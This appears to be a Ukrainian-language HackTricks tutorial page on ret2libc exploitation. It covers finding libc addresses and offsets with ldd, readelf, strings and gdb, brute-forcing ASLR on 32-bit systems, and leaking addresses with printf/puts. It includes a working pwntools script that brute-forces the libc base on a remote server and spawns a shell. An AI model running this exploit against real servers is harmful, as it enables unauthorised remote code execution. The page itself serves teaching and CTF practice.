Ret2lib

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Основна інформація

Суть Ret2Libc полягає в перенаправленні потоку виконання вразливої програми на функцію в загальній бібліотеці (наприклад, system, execve, strcpy) замість виконання шкідливого коду, наданого атакуючим, в стеку. Атакуючий створює корисне навантаження, яке змінює адресу повернення в стеці, щоб вказати на потрібну функцію бібліотеки, одночасно забезпечуючи правильну настройку будь-яких необхідних аргументів відповідно до конвенції виклику.

Приклад кроків (спрощено)

  • Отримати адресу функції для виклику (наприклад, system) та команду для виклику (наприклад, /bin/sh)
  • Згенерувати ланцюг ROP для передачі першого аргументу, що вказує на рядок команди, та потоку виконання до функції

Знаходження адрес

  • Припустимо, що libc, яка використовується, є тією, що на поточній машині, ви можете знайти, де вона буде завантажена в пам'ять за допомогою:
bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

Якщо ви хочете перевірити, чи змінює ASLR адресу libc, ви можете зробити:

bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • Знаючи використану libc, також можливо знайти зсув до функції system за допомогою:
bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • Знаючи використовувану libc, також можливо знайти зсув до рядка /bin/sh функції за допомогою:
bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Використання gdb-peda / GEF

Знаючи використовувану libc, також можливо використовувати Peda або GEF для отримання адреси функції system, функції exit та рядка /bin/sh :

bash
p system
p exit
find "/bin/sh"

Використання /proc/<PID>/maps

Якщо процес створює дочірні процеси щоразу, коли ви з ним спілкуєтеся (мережевий сервер), спробуйте прочитати цей файл (можливо, вам потрібно буде бути root).

Тут ви можете знайти точно де завантажено libc всередині процесу і де воно буде завантажено для кожного дочірнього процесу.

У цьому випадку воно завантажено в 0xb75dc000 (Це буде базова адреса libc)

Невідома libc

Можливо, ви не знаєте, яку libc завантажує бінарник (оскільки вона може бути розташована на сервері, до якого у вас немає доступу). У такому випадку ви можете зловживати вразливістю, щоб витягнути деякі адреси і дізнатися, яка бібліотека libc використовується:

Leaking libc address with ROP

І ви можете знайти шаблон pwntools для цього в:

Leaking libc - template

Дізнатися libc з 2 зсувами

Перевірте сторінку https://libc.blukat.me/ і використовуйте кілька адрес функцій всередині libc, щоб дізнатися використовувану версію.

Обхід ASLR на 32 біт

Ці атаки методом перебору корисні лише для 32-бітних систем.

  • Якщо експлойт локальний, ви можете спробувати методом перебору знайти базову адресу libc (корисно для 32-бітних систем):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Якщо ви атакуєте віддалений сервер, ви можете спробувати перебрати адресу функції libc usleep, передаючи в якості аргументу 10 (наприклад). Якщо в якийсь момент сервер відповідає на 10 секунд довше, ви знайшли адресу цієї функції.

One Gadget

Виконайте оболонку, просто стрибнувши на одну конкретну адресу в libc:

One Gadget

x86 Ret2lib Code Example

У цьому прикладі перебір ASLR інтегровано в код, а вразливий бінарний файл розташований на віддаленому сервері:

python
from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib Code Example

Перевірте приклад з:

ROP - Return Oriented Programing

ARM64 Ret2lib Example

У випадку ARM64, інструкція ret переходить туди, куди вказує реєстр x30, а не туди, куди вказує стековий реєстр. Тому це трохи складніше.

Також в ARM64 інструкція виконує те, що вона виконує (неможливо перейти в середині інструкцій і перетворити їх на нові).

Перевірте приклад з:

Ret2lib + Printf leak - arm64

Ret-into-printf (or puts)

Це дозволяє витікати інформацію з процесу шляхом виклику printf/puts з деякими специфічними даними, розміщеними як аргумент. Наприклад, якщо помістити адресу puts у GOT під час виконання puts, це викриє адресу puts в пам'яті.

Ret2printf

Це в основному означає зловживання Ret2lib, щоб перетворити його на вразливість форматних рядків printf за допомогою ret2lib, щоб викликати printf з значеннями для експлуатації (звучить безглуздо, але можливо):

Format Strings

Other Examples & references

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks